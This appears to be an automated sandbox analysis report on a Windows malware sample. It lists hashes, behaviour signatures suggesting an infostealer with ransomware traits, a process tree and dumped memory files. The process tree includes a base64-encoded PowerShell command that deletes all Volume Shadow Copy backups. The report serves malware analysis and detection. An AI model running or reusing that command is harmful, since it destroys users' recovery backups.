Overview

overview

10

Static

static

10

c9c6939cb4...18.exe

windows7-x64

10

c9c6939cb4...18.exe

windows10-2004-x64

7

Analysis

  • max time kernel
    145s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-08-2024 22:43

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General

  • Target

    c9c6939cb45bfd22d3b57537839a11ee_JaffaCakes118.exe

  • Size

    164KB

  • MD5

    c9c6939cb45bfd22d3b57537839a11ee

  • SHA1

    9ed92175bc2fa9d0e501f9215723a3cf2515b2b0

  • SHA256

    4478337abc2ec1030756e991d7d4633ad1c99574cba2ee34428cbd67f1e50f18

  • SHA512

    ca8ae5c7a96b580aa1b130b543fc82764d09028c0a8ed8ad0a0bb7b0fa891d8f3bdd307868dfb39625af3bbc5818f2d23747d5cc73859df4ecb0443eb4f23dd2

  • SSDEEP

    1536:FYVLroT4ciMeW75jVZF+pWGRjICS4At+GbvF0qcX8opz25maL3SUtNDWyPwop6in:FHixaVZFiOCDJtOicNDWEzZtaobOsB

Score
7/10
discoveryspywarestealer

Malware Config

Signatures

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 64 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\c9c6939cb45bfd22d3b57537839a11ee_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\c9c6939cb45bfd22d3b57537839a11ee_JaffaCakes118.exe"
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1356
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:3328
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2152
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4180,i,3210801877307184477,8078594481454001567,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:8
      1⤵
        PID:4396

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i2lefudl.a0o.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • memory/1356-0-0x00007FFDE8A23000-0x00007FFDE8A25000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1356-6-0x000001E1FB6A0000-0x000001E1FB6C2000-memory.dmp

        Filesize

        136KB

        Download

      • memory/1356-11-0x00007FFDE8A20000-0x00007FFDE94E1000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/1356-12-0x00007FFDE8A20000-0x00007FFDE94E1000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/1356-15-0x00007FFDE8A20000-0x00007FFDE94E1000-memory.dmp

        Filesize

        10.8MB

        Download